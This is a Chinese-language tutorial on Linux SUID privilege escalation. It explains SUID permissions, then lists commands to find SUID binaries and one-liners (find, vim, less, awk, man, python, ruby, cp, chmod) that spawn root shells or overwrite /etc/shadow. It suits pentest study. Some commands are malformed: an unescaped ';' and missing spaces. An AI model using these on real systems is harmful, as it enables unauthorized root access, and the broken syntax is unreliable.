linux提权——suid提权

基础知识

suid权限介绍：

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中，当一个程序运行的时候，程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的（程序/文件）所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候，将获取文件所有者的权限以及所有者的UID和GID。

suid权限的特点：

SUID只对可执行的二进制文件起作用，shell脚本设置后不生效。
如果设置了其suid后，其属主位的可以执行权限x会变成s(小写)，如果是大写S 那么说设置的文件没有可执行权限，设置的SUID无效。
SUID对目录设置无意义。

SUID设置方法：

chmod u+s file   #字母设置方式
chmod u-s file   #取消SUID
chmod 4755 file  #数字设置方式
chmod 0755 file  #取消SUID

查找具有suid权限的文件

#以下命令将尝试查找具有root权限的SUID的文件，不同系统适用于不同的命令，一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;

利用方式

Find命令

sudo find . -exec /bin/sh ; -quit

chmod命令

sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

ash、linux shell

sudo ash

cp命令

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'

vim

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

less/more

less /etc/passwd
!/bin/sh

bash

bash -p

awk

awk 'BEGIN {system("/bin/bash")}'

mv

#使用mv 覆盖 /etc/shadow 或者/etc/sudoers

man

man passwd
!/bin/bash

python

import os
os.system("/bin/bash")

ruby

exec "/bin/bash";